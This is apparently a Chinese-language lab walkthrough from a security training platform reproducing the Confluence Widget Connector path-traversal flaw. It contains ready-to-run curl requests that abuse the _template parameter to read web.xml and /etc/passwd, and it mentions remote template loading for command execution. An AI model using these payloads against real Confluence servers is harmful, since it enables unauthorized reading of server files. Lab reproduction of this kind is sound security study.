简介Atlassian Confluence是企业广泛使用的wiki系统其6.14.2版本前存在一处未授权的目录穿越漏洞通过该漏洞攻击者可以读取任意文件或利用Velocity模板注入执行任意命令。环境启动首先打开NextCyber网络安全实战演练平台在“课程中心”页面选择“新的”标签筛选出新上课程选择“confluence”这个课程在课程的左边点击“跳转到问题”自动下拉到底部点击右下角的“启动靶机实例”开启靶机进行漏洞复现漏洞复现初始化环境访问http://your-ip:8090会进入安装引导选择Trial installation之后会要求填写license key。点击Get an evaluation license去Atlassian官方申请一个Confluence Server的测试证书然后点击Next安装即可。如果提示填写cluster node路径填写/home/confluence即可后续可能要求填写数据库账号密码选择postgres数据库地址为db账号密码均为postgres漏洞原理/rest/tinymce/1/macro/preview接口在渲染Widget Connector宏时会将 _template 参数指向的文件作为 Velocity 模板加载并渲染。由于缺乏路径校验攻击者可通过 ../ 相对路径读取服务器本地文件或通过https://加载远程恶意模板执行命令。验证漏洞读取web.xml文件发送如下请求通过路径穿越读取web.xml。contentId只需是一个合法整数无需对应真实页面直接使用786458curl -s -X POST \ http://目标IP:8090/rest/tinymce/1/macro/preview \ -H Content-Type: application/json; charsetutf-8 \ -H Referer: http://目标IP:8090/pages/resumedraft.action?draftId786457draftShareId056b55bc-fc4a-487b-b1e1-8f673f280c23 \ -d {contentId:786458,macro:{name:widget,body:,params:{url:https://www.viddler.com/v/23464dc6,width:1000,height:1000,_template:../web.xml}}}响应的HTML正文中会混入web.xml的文件内容。web.xml是 Java Web 应用的配置文件认准以下几个关键特征就能确认读取成功出现 XML 声明头?xml version1.0出现web-app标签出现 Confluence 的类名例如com.atlassian.confluence出现servlet、filter、display-name等 Java Web 特有标签响应示例节选web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee ... display-nameConfluence/display-name filter filter-namedebug-before-request/filter-name filter-classcom.atlassian.confluence.web.filter.DebugFilter/filter-class /filter servlet ... /servlet /web-app只要在响应中看到上述内容即可确认路径穿越漏洞复现成功服务器已将本地文件内容返回给本地。3.4 漏洞利用file:// 直接读取任意文件该靶场版本的 Confluence 未限制 file:// 协议_template 可直接指向服务器本地文件路径无需搭建 HTTP 服务器或触发 SSTI是最简洁可靠的利用方式。curl -s -X POST \ http://目标IP:8090/rest/tinymce/1/macro/preview \ -H Content-Type: application/json; charsetutf-8 \ -H Referer: http://目标IP:8090/pages/resumedraft.action?draftId786457draftShareId056b55bc-fc4a-487b-b1e1-8f673f280c23 \ -d {contentId:786458,macro:{name:widget,body:,params:{url:https://www.viddler.com/v/23464dc6,width:1000,height:1000,_template:file:///etc/passwd}}}响应中出现 root:x:0:0:root:/root:/bin/bash 这类内容说明任意文件读取成功。file:///etc/passwd 中三个斜杠的含义file:// 是协议头第三个 / 是文件绝对路径的开头合起来表示读取本地根目录下的 /etc/passwd。0x04 靶机体验如果你也想体验这个漏洞的复现过程欢迎登陆 NextCyber 网络安全实战演练平台一键启动靶机无需复杂环境搭建随时随地进行靶机练习有学习需求或想获取更多资料的欢迎站内私信交流